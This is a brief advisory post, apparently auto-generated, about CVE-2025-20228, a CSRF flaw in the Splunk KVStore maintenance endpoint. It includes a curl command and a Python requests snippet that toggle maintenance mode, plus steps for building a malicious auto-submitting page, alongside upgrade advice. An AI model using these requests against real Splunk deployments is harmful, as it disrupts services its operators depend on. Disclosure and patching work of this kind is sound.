Listen to this Post
How the CVE Works
CVE-2025-20228 affects Splunk Enterprise (versions below 9.3.3, 9.2.5, 9.1.8) and Splunk Cloud Platform (versions below 9.2.2403.108, 9.1.2312.204). A low-privileged user without “admin” or “power” roles can manipulate the App Key Value Store (KVStore) maintenance mode via CSRF. The vulnerability arises due to insufficient CSRF protections in the KVStore maintenance endpoint, allowing attackers to trick authenticated users into submitting unintended state-change requests. This could disrupt KVStore operations but does not grant direct data access or code execution.
DailyCVE Form
Platform: Splunk Enterprise/Cloud
Version: <9.3.3, <9.2.5, <9.1.8
Vulnerability: CSRF in KVStore
Severity: Low
Date: 07/21/2025
Prediction: Patch by 08/15/2025
What Undercode Say
curl -X POST -H "X-Requested-With: XMLHttpRequest" http://<SPLUNK_HOST>/en-US/kvstore/control/maintenance/toggle
import requests
csrf_payload = {"state": "enable"}
requests.post("http://<SPLUNK_HOST>/en-US/kvstore/control/maintenance/toggle", data=csrf_payload, cookies={"session": "VALID_SESSION"})
How Exploit
- Craft a malicious page with auto-submitted form targeting KVStore endpoint.
- Trick authenticated Splunk user into visiting the page.
3. Unauthorized maintenance mode toggle executed.
Protection from this CVE
- Upgrade to Splunk Enterprise 9.3.3/9.2.5/9.1.8 or later.
- Implement CSRF tokens for KVStore endpoints.
- Enforce role-based access controls strictly.
Impact
- Unauthorized disruption of KVStore maintenance.
- No data compromise or privilege escalation.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
